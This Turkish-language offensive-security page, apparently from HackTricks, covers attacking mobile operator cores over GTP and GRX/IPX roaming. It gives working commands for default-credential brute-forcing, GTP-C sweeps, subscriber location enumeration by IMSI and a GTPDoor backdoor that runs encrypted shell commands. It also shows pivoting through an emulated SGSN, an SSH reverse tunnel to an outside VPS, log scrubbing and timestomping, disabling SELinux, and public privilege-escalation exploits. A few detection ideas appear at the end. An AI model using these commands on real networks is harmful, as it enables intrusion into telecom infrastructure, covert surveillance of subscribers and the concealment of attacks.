6.5 KiB
Raw Blame History

Telekom Ağı İstismarı (GTP / Roaming Ortamları)

{{#include ../../banners/hacktricks-training.md}}

Note

Mobil çekirdek protokolleri (GPRS Tünelleme Protokolü GTP) genellikle yarı güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü neredeyse hiç kimlik doğrulama olmadan düz UDP üzerinde çalışırlar, bir telekom perimetrinin içindeki herhangi bir ayak izi genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir. Aşağıdaki notlar, SGSN/GGSN, PGW/SGW ve diğer EPC düğümlerine karşı doğada gözlemlenen saldırgan teknikleri toplamaktadır.

1. Keşif & İlk Erişim

1.1 Varsayılan OSS / NE Hesapları

Şaşırtıcı derecede büyük bir tedarikçi ağ elemanları seti, root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser gibi sabit kodlanmış SSH/Telnet kullanıcıları ile birlikte gelir. Özel bir kelime listesi, kaba kuvvet başarısını dramatik şekilde artırır:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Eğer cihaz yalnızca bir yönetim VRF'si sunuyorsa, önce bir jump host üzerinden geçin (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).

1.2 GRX/IPX İçinde Host Keşfi

Çoğu GRX operatörü hala omurga boyunca ICMP echo'ya izin vermektedir. GTP-C dinleyicilerini hızlı bir şekilde haritalamak için masscan'i yerleşik gtpv1 UDP probeleri ile birleştirin:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Abone Sayımı cordscan

Aşağıdaki Go aracı GTP-C PDP Bağlantı Oluşturma İsteği paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'yi hizmet veren mevcut SGSN / MME'yi ve bazen de abonenin ziyaret ettiği PLMN'yi ortaya çıkarır.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Ana bayraklar:

  • --imsi Hedef abone IMSI
  • --oper Ev / HNI (MCC+MNC)
  • -w Ham paketleri pcap'a yaz

İkili dosya içindeki önemli sabitler, taramaları genişletmek için yamanabilir:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. GTP Üzerinden Kod Çalıştırma GTPDoor

GTPDoor, UDP 2123'ü bağlayan ve her gelen GTP-C paketini ayrıştıran küçük bir ELF hizmetidir. Yük, önceden paylaşılan bir etiketle başlarsa, geri kalanı (AES-128-CBC) şifre çözülür ve /bin/sh -c aracılığıyla çalıştırılır. stdout/stderr, dışarıya hiçbir oturum oluşturulmadan Echo Response mesajları içinde dışarıya aktarılır.

Minimal PoC paketi (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • herhangi bir hostun dengesiz Echo İstekleri göndermesi SGSN IP'lerine
  • GTP versiyon bayrağı 1 olarak ayarlandığında mesaj türü = 1 (Echo) spesifikasyondan sapma

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN, gerçek bir GGSN/PGW'ye doğru bir PDP bağlamı kurabilen bir SGSN emülatörü ile birlikte gelir. Müzakere edildikten sonra, Linux, dolaşım eşinden erişilebilen yeni bir tun0 arayüzü alır.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Doğru bir güvenlik duvarı hair-pinning ile, bu tünel yalnızca sinyalizasyon olan VLAN'ları atlar ve sizi doğrudan veri düzlemine yönlendirir.

4.2 Port 53 Üzerinde SSH Ters Tünel

DNS, dolaşım altyapılarında neredeyse her zaman açıktır. İç bir SSH hizmetini VPS'inize :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri dönün:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

GatewayPorts yes'un VPS'de etkin olduğunu kontrol edin.

5. Gizli Kanallar

Kanal Taşıma Kod Çözme Notlar
ICMP EchoBackdoor ICMP Echo Req/Rep 4-byte anahtar + 14-byte parçalar (XOR) tamamen pasif dinleyici, dışa trafik yok
DNS NoDepDNS UDP 53 A-kayıt oktetlerinde kodlanmış XOR (anahtar = funnyAndHappy) *.nodep alt alanını izler
GTP GTPDoor UDP 2123 özel IE'de AES-128-CBC blob meşru GTP-C sohbeti ile karışır

Tüm implantlar, ikili dosyalarını timestomp eden ve çökmesi durumunda yeniden başlatan izleyiciler uygular.

6. Savunma Kaçış Kılavuzu

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Eski NE'de Yetki Yükseltme

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Temizlik ipucu:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Araç Kutusu

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS önceki bölümlerde tanımlanan özel araçlar.
  • FScan : intranet TCP taramaları (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS sahte WPAD
  • Microsocks + ProxyChains : hafif SOCKS5 pivotlama
  • FRP (≥0.37) : NAT geçişi / varlık köprüleme

Tespit Fikirleri

  1. Create PDP Context Requests oluşturan SGSN/GGSN dışındaki herhangi bir cihaz.
  2. İç IP'lerden SSH el sıkışmaları alan standart dışı portlar (53, 80, 443).
  3. Karşılık gelen Echo Yanıtları olmadan sık sık Echo İstekleri GTPDoor işaretlerini gösterebilir.
  4. Büyük, sıfır olmayan tanımlayıcı/sıra alanları ile yüksek ICMP echo-reply trafiği oranı.

Referanslar

{{#include ../../banners/hacktricks-training.md}}